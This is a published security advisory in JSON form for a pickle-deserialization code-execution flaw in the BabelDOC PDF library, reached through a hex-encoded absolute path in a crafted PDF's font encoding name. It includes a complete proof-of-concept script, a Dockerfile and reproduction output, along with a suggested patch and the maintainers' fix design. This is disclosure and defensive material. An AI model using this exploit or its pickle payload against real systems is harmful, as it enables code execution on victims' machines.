1 line
27 KiB
JSON
1 line
27 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-m8gf-v64p-gfmg","published":"2026-07-10T19:32:44Z","modified":"2026-07-13T16:43:06.036095811Z","aliases":["CVE-2026-54071","PYSEC-2026-2389"],"summary":"BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py","details":"## Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py\n\n### Summary\n\nBabelDOC's vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python's `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.\n\n### Details\n\nThe vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232–245`:\n\n```python\n@classmethod\ndef _load_data(cls, name: str) -> Any:\n name = name.replace(\"\\0\", \"\") # line 233 — only NUL is stripped\n filename = \"%s.pickle.gz\" % name # line 234 — attacker-controlled string\n ...\n for directory in cmap_paths:\n path = os.path.join(directory, filename) # line 241 — no realpath/canonical check\n if os.path.exists(path):\n gzfile = gzip.open(path)\n try:\n return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle\n```\n\n**Path injection via PDF name hex-encoding.** The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`.\n\n**Python `os.path.join()` absolute-path override.** When the decoded name starts with `/` (i.e., it is an absolute path), Python's `os.path.join(directory, name + \".pickle.gz\")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package's own `cmap/` folder) are therefore completely bypassed.\n\n**Data flow from PDF to sink:**\n\n1. `babeldoc/main.py:611–622` — CLI accepts a PDF path; only existence and `.pdf` suffix are checked.\n2. `babeldoc/main.py:678–679` — path stored in `TranslationConfig(input_file=file)`.\n3. `babeldoc/format/pdf/high_level.py:472–488` — `translation_config.input_file` enters the translate pipeline.\n4. `babeldoc/format/pdf/high_level.py:805–848` — PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`.\n5. `babeldoc/format/pdf/new_parser/native_parse.py:60–70` — prepared pages loaded and interpreted.\n6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34` — PyMuPDF opens the PDF and builds page resources.\n7. `babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94` — font resources converted to `PreparedFontSpec`.\n8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35` — page resource bundle resolves root font map.\n9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87` — each font spec projected and passed to `font_factory.create_font`.\n10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493` — CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`.\n11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77` — PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through.\n12. `babeldoc/pdfminer/cmapdb.py:233–245` — **sink**: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`.\n\n**Sanitization gaps:**\n\n- `name.replace(\"\\0\", \"\")` removes only the NUL byte; `..`, `/`, `\\`, and hex-decoded path separators are unaffected.\n- There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened.\n- There is no allowlist of known CMap names nor any integrity verification of the pickle data.\n\n**Recommended patch** (`babeldoc/pdfminer/cmapdb.py`):\n\n```diff\n--- a/babeldoc/pdfminer/cmapdb.py\n+++ b/babeldoc/pdfminer/cmapdb.py\n@@\n cmap_paths = (\n os.environ.get(\"CMAP_PATH\", \"/usr/share/pdfminer/\"),\n os.path.join(os.path.dirname(__file__), \"cmap\"),\n )\n for directory in cmap_paths:\n- path = os.path.join(directory, filename)\n+ base_dir = os.path.realpath(directory)\n+ path = os.path.realpath(os.path.join(base_dir, filename))\n+ try:\n+ if os.path.commonpath([base_dir, path]) != base_dir:\n+ continue\n+ except ValueError:\n+ continue\n if os.path.exists(path):\n gzfile = gzip.open(path)\n```\n\nA more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.\n\n### PoC\n\n**Environment setup (Docker — recommended for isolation):**\n\n```bash\n# From the repository root\ndocker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-babeldoc-cmap\n```\n\n**Manual setup (local venv):**\n\n```bash\npython3 -m venv /tmp/babeldoc-poc-venv\nsource /tmp/babeldoc-poc-venv/bin/activate\npip install freetype-py==2.5.1 charset-normalizer cryptography\nexport PYTHONPATH=/path/to/BabelDOC\npython3 poc.py\n```\n\n**PoC script (`poc.py`) — key steps:**\n\n```python\nimport gzip, pathlib, pickle, sys\n\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n# Step 1 — write the malicious pickle to a world-writable location\nclass MaliciousPayload:\n def __reduce__(self):\n return (pathlib.Path(str(PROOF_FILE)).write_text,\n (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",))\n\nCMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\nwith gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n pickle.dump(MaliciousPayload(), fh)\n\n# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path\n# \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to \"/tmp/babeldoc-cmap-poc/malicious\"\nencoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...\n# Full source in poc.py\n\n# Step 3 — trigger via the pdfminer high-level API\nfrom babeldoc.pdfminer.high_level import extract_text\ntry:\n extract_text(str(MALICIOUS_PDF))\nexcept TypeError:\n pass # expected: type(name, (), <int>) fails after write_text returns int\n\n# Step 4 — verify\nassert PROOF_FILE.exists(), \"FAIL: proof file not created\"\nprint(PROOF_FILE.read_text()) # => \"RCE_CONFIRMED: pickle.loads executed attacker payload\"\n```\n\n**Phase 2 dynamic reproduction output (Docker container):**\n\n```\n[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz\n[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf\n[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...\n[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int\n[*] This exception is expected; the payload ran before it.\n\n============================================================\nRESULT: PASS\nProof file: /tmp/babeldoc_cmap_rce_proof.txt\nContent: 'RCE_CONFIRMED: pickle.loads executed attacker payload'\n============================================================\n```\n\nThe `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), <int>)` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point.\n\n**Attack path summary:**\n\n```\nPDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\n -> pdfminer hex-decodes #2F -> '/'\n -> literal_name = \"/tmp/babeldoc-cmap-poc/malicious\"\n -> CMapDB._load_data(\"/tmp/babeldoc-cmap-poc/malicious\")\n -> filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\" # absolute path!\n -> os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n == \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\" # first arg discarded\n -> gzip.open() + pickle.loads() -> arbitrary code execution\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution** vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.\n\n**Who is impacted:**\n\n- **End users** who open a malicious PDF with the `babeldoc` CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality.\n- **Automated document processing pipelines** (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.\n\n**Attack prerequisites:**\n\n1. The attacker must be able to place a `.pickle.gz` file at a predictable path on the local filesystem (e.g., `/tmp/`), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.\n2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.\n\n**Scope:** The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the **Changed** scope in the CVSS vector and potential lateral movement between users on multi-user systems.\n\n**Consequences:** Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system-level dependencies for freetype\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n libfreetype6 \\\n && rm -rf /var/lib/apt/lists/*\n\n# Install minimal Python dependencies required by babeldoc/pdfminer\nRUN pip install --no-cache-dir \\\n freetype-py==2.5.1 \\\n charset-normalizer \\\n cryptography\n\n# Copy the BabelDOC repository (only babeldoc package directory is needed)\nCOPY repo/babeldoc /app/babeldoc\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nWORKDIR /app\n\n# PYTHONPATH exposes babeldoc package without a full pip install\nENV PYTHONPATH=/app\n\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: CMap Pickle Deserialization via Absolute Path Injection\nCVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2\n\nVulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes\nfrom the CMap name before building a filesystem path. A PDF name object\nusing #xx hex-encoding can inject absolute path characters (/) so that\nos.path.join() discards the trusted cmap directory entirely, opening and\nunpickling an attacker-placed .pickle.gz file.\n\nAttack flow:\n PDF /Encoding /#2Ftmp#2F...#2Fmalicious\n -> pdfminer hex-decodes #2F -> '/'\n -> literal_name() returns \"/tmp/.../malicious\"\n -> _load_data(\"/tmp/.../malicious\")\n -> filename = \"/tmp/.../malicious.pickle.gz\" (absolute path!)\n -> os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n == \"/tmp/.../malicious.pickle.gz\" (Python discards first arg)\n -> gzip.open() + pickle.loads() => arbitrary code execution\n\"\"\"\n\nimport gzip\nimport os\nimport pathlib\nimport pickle\nimport sys\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1: Build the malicious pickle payload\n# ---------------------------------------------------------------------------\nclass MaliciousPayload:\n \"\"\"Pickle payload that writes a proof file on deserialization.\"\"\"\n\n def __reduce__(self):\n # Write proof file when unpickled; any writable command works here.\n return (\n pathlib.Path(str(PROOF_FILE)).write_text,\n (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",),\n )\n\n\ndef create_malicious_pickle():\n CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\n PROOF_FILE.unlink(missing_ok=True)\n\n with gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n pickle.dump(MaliciousPayload(), fh)\n\n print(f\"[+] Malicious pickle written: {MALICIOUS_PICKLE}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2: Build the malicious PDF\n# ---------------------------------------------------------------------------\ndef create_malicious_pdf():\n \"\"\"\n Craft a minimal PDF with a Type0 CID font whose /Encoding name is a\n PDF literal that hex-encodes an absolute Unix path.\n\n PDF name syntax: /<characters> where #xx is hex escape for byte 0xxx.\n \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to the name value\n \"/tmp/babeldoc-cmap-poc/malicious\" (starts with '/').\n\n When passed through babeldoc/pdfminer:\n literal_name(PSLiteral) -> \"/tmp/babeldoc-cmap-poc/malicious\"\n _load_data() -> filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"\n os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n => \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\" (absolute wins!)\n \"\"\"\n # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious\n # '#2F' = '/' in PDF name hex encoding\n encoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n content_stream = b\"BT\\n/F1 12 Tf\\n100 700 Td\\n(Malicious PDF) Tj\\nET\\n\"\n\n # PDF objects (1-indexed)\n objs = [\n # 1: Catalog\n b\"<< /Type /Catalog /Pages 2 0 R >>\",\n # 2: Pages\n b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\",\n # 3: Page - references content stream (4) and font (5)\n b\"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\"\n b\" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>\",\n # 4: Content stream\n b\"<< /Length %d >>\\nstream\\n\" % len(content_stream)\n + content_stream\n + b\"\\nendstream\",\n # 5: Type0 font with malicious /Encoding name\n b\"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont\"\n b\" /Encoding \" + encoding_name + b\"\"\n b\" /DescendantFonts [6 0 R] >>\",\n # 6: CIDFontType2 descendant\n b\"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont\"\n b\" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)\"\n b\" /Supplement 0 >> /FontDescriptor 7 0 R >>\",\n # 7: FontDescriptor (minimal)\n b\"<< /Type /FontDescriptor /FontName /MalFont /Flags 4\"\n b\" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0\"\n b\" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>\",\n ]\n\n buf = bytearray(b\"%PDF-1.4\\n\")\n offsets = []\n for i, obj_data in enumerate(objs, 1):\n offsets.append(len(buf))\n buf += f\"{i} 0 obj\\n\".encode() + obj_data + b\"\\nendobj\\n\"\n\n xref_offset = len(buf)\n buf += f\"xref\\n0 {len(objs) + 1}\\n0000000000 65535 f \\n\".encode()\n for off in offsets:\n buf += f\"{off:010d} 00000 n \\n\".encode()\n buf += (\n f\"trailer\\n<< /Size {len(objs) + 1} /Root 1 0 R >>\\n\"\n f\"startxref\\n{xref_offset}\\n%%EOF\\n\"\n ).encode()\n\n MALICIOUS_PDF.write_bytes(bytes(buf))\n print(f\"[+] Malicious PDF written: {MALICIOUS_PDF}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text\n# ---------------------------------------------------------------------------\ndef trigger_exploit():\n from babeldoc.pdfminer.high_level import extract_text\n\n print(f\"[*] Calling extract_text({MALICIOUS_PDF}) ...\")\n try:\n result = extract_text(str(MALICIOUS_PDF))\n print(f\"[+] extract_text completed, returned {len(result)} chars\")\n except Exception as exc:\n # A TypeError is expected: after pickle.loads() returns the result of\n # write_text() (an int), the code tries type(name, (), <int>) which\n # raises TypeError. The write has already happened at this point.\n print(f\"[*] extract_text raised {type(exc).__name__}: {exc}\")\n print(\"[*] This exception is expected; the payload ran before it.\")\n\n\n# ---------------------------------------------------------------------------\n# Step 4: Verify RCE evidence\n# ---------------------------------------------------------------------------\ndef verify_rce():\n if PROOF_FILE.exists():\n content = PROOF_FILE.read_text()\n print()\n print(\"=\" * 60)\n print(\"RESULT: PASS\")\n print(f\"Proof file: {PROOF_FILE}\")\n print(f\"Content: {content!r}\")\n print(\"=\" * 60)\n return True\n else:\n print()\n print(\"=\" * 60)\n print(\"RESULT: FAIL\")\n print(f\"Proof file {PROOF_FILE} was NOT created.\")\n print(\"=\" * 60)\n return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n print(\"=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===\")\n print(f\"Python: {sys.version}\")\n print()\n\n create_malicious_pickle()\n create_malicious_pdf()\n trigger_exploit()\n success = verify_rce()\n\n sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n---\n\n## Notes from the maintainer\n\n### CVSS revision note\n\nThe CVSS v3.1 vector has been revised from the reporter's initial\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (8.6) to\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (7.8) on maintainer\nreview. The severity rating remains **High**.\n\nOne metric is revised; the remaining metrics (`AV:L`, `AC:L`, `PR:N`,\n`UI:R`, `C:H/I:H/A:H`) are unchanged from the reporter's assessment.\n\n- **Scope: Changed → Unchanged.** BabelDOC is a PDF-processing\n library running with the caller process's operating-system\n permissions; it does not enforce a separate security authority over\n OS files, users, or downstream services. The malicious pickle\n payload executes in that same BabelDOC Python process. Under CVSS\n v3.1, this is Scope Unchanged: the vulnerable component and the\n impacted component are governed by the same authority. No sandbox,\n VM, browser-client, or application-defined authorization boundary\n is crossed.\n\nThe remaining metrics are retained intentionally:\n\n- `AV:L`, `PR:N`, `UI:R`: the attack requires local presence of\n attacker-influenced data (consistent with `AV:L`), does not require\n authenticated access to BabelDOC itself (`PR:N`), and depends on a\n user actually processing the crafted PDF (`UI:R`).\n- `AC:L`: kept aligned with industry practice for CWE-502\n deserialization issues; once the supporting filesystem condition\n exists, the same-process exploitation path is consistent and\n repeatable.\n- `C:H`, `I:H`, `A:H`: full code-execution impact within the\n BabelDOC process.\n\nWe thank EQSTLab for the detailed report and PoC; this revision is\nlimited to CVSS metric interpretation, and the issue remains High\nseverity when exploitable.\n\n### Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)\n\nThe original report covers entry point (1): the `Encoding` / `CMapName`\nfont dictionary path, with absolute-path injection. Local review during\npatch preparation identified that the same `_load_data` sink is reached\nfrom one additional independently exploitable PDF-controlled path and\ntwo prefixed call sites covered at the sink for defense in depth:\n\n1. `Encoding` / `CMapName` references in a font dictionary\n *(reported entry; absolute-path injection per the upstream report,\n `..` relative traversal also exploitable)*\n2. The PostScript `usecmap` operator inside an embedded CMap stream\n *(independently exploitable via `..` relative traversal; not in the\n original report)*\n3. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n legacy pdfminer pipeline\n4. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n active new-parser pipeline\n\nCall sites (3) and (4) were not reproduced as standalone PDF-only\nexploit paths in v0.6.x. The `get_unicode_map` caller prepends a\n`to-unicode-` prefix to the PDF-controlled name, which breaks\nabsolute-path injection and means `..` traversal would require an\nadditional crafted directory layout such as a `to-unicode-*`\ncomponent under a CMap search location. The 0.6.3 sink-level fix\nstill covers these call sites, so future removal of the prefix or\na future unprefixed caller remains blocked.\n\n### Fix design\n\nThe runtime CMap loader in 0.6.3 refuses to deserialize any file that\ndoes not simultaneously:\n\n1. appear in a pinned manifest of bundled CMap filenames (allowlist),\n2. resolve inside the bundled `runtime/data/cmap` directory after path\n resolution (containment check), and\n3. byte-for-byte match the manifest's pinned byte size and SHA-256.\n\nThe integrity check runs on the compressed on-disk `.gz` bytes before\ndecompression, so files whose compressed size or SHA-256 differs from\nthe pinned manifest are rejected before `gzip` or `pickle` sees them.\nThe legacy `CMAP_PATH` external search path is removed entirely; only\nthe bundled directory is consulted. The active new-parser pipeline\nand the vendored pdfminer pipeline share the same verified-load entry\npoint.\n\n### Related hardening shipped in 0.6.3\n\nA separate hardening in the same release sanitizes PDF-controlled\nXObject names before they reach the optional `ImageWriter` output\npath, preventing PDF-driven writes outside the configured output\ndirectory. This is separate from BabelDOC's default translation\npipeline: the optional `ImageWriter` is not used by default and is\nonly reachable when a third-party caller passes an explicit\n`output_dir`. It is included here for completeness.\n\n### Risk reduction if you cannot upgrade immediately\n\nThese steps reduce known exploit preconditions on pre-0.6.3 versions;\nthey are not equivalent to the 0.6.3 fix.\n\n- Do not set the `CMAP_PATH` environment variable when running\n BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3\n versions, unsetting it limits the attack surface to the bundled\n cmap directory under the BabelDOC package.\n- Run BabelDOC under an account that cannot create files in any\n directory BabelDOC will read CMap data from, including any\n pre-0.6.3 `CMAP_PATH` target.\n- Process only PDFs from trusted sources until upgrading.\n\n### Maintenance policy\n\nBabelDOC publishes security fixes only in the latest release. We do\nnot publish maintainer-supported backports for older minor, patch, or\nrelease lines. For this advisory, the maintainer-supported fixed\nversion is 0.6.3 or later; downstream distributors may carry their\nown patches, but older BabelDOC releases will not receive a separate\nupstream backport.\n\n### Acknowledgements\n\nWe thank **EQSTLab** for the detailed private report, complete\nreproduction material, and coordinated-disclosure cooperation that\nallowed this fix to be prepared and released before public\ndisclosure.\n\n### Timeline\n\n- 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and\n notifies maintainers\n- 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix\n- 2026-06-03 09:50 UTC: this advisory published\n- TBD: CVE identifier assigned (pending GitHub CNA review; GitHub\n documentation says CVE requests are usually reviewed within 72\n hours)\n\n### References\n\n- BabelDOC 0.6.3 release notes:\n https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md\n- CVE: TBD (pending CNA assignment)","affected":[{"package":{"name":"babeldoc","ecosystem":"PyPI","purl":"pkg:pypi/babeldoc"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.3"}]}],"versions":["0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.28","0.1.29","0.1.30","0.1.31","0.1.32","0.1.6","0.1.6rc0","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.14","0.2.15","0.2.16","0.2.17","0.2.18","0.2.19","0.2.2","0.2.20","0.2.21","0.2.22","0.2.23","0.2.24","0.2.25","0.2.26","0.2.27","0.2.28","0.2.29","0.2.3","0.2.30","0.2.31","0.2.32","0.2.33","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.10","0.3.11","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.28","0.3.29","0.3.3","0.3.30","0.3.31","0.3.32","0.3.33","0.3.34","0.3.35","0.3.36","0.3.37","0.3.38","0.3.39","0.3.4","0.3.40","0.3.41","0.3.42","0.3.43","0.3.44","0.3.45","0.3.47","0.3.48","0.3.49","0.3.5","0.3.50","0.3.51","0.3.52","0.3.53","0.3.54","0.3.55","0.3.56","0.3.57","0.3.58","0.3.59","0.3.6","0.3.60","0.3.61","0.3.62","0.3.63","0.3.64","0.3.65","0.3.66","0.3.67","0.3.68","0.3.69","0.3.7","0.3.70","0.3.71","0.3.72","0.3.8","0.3.9","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.19","0.4.2","0.4.20","0.4.21","0.4.22","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.21","0.5.22","0.5.23","0.5.24","0.5.3","0.5.4","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.2"],"database_specific":{"last_known_affected_version_range":"<= 0.6.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-m8gf-v64p-gfmg/GHSA-m8gf-v64p-gfmg.json"}}],"references":[{"type":"WEB","url":"https://github.com/funstory-ai/BabelDOC/security/advisories/GHSA-m8gf-v64p-gfmg"},{"type":"PACKAGE","url":"https://github.com/funstory-ai/BabelDOC"}],"database_specific":{"cwe_ids":["CWE-502"],"github_reviewed":true,"github_reviewed_at":"2026-07-10T19:32:44Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} |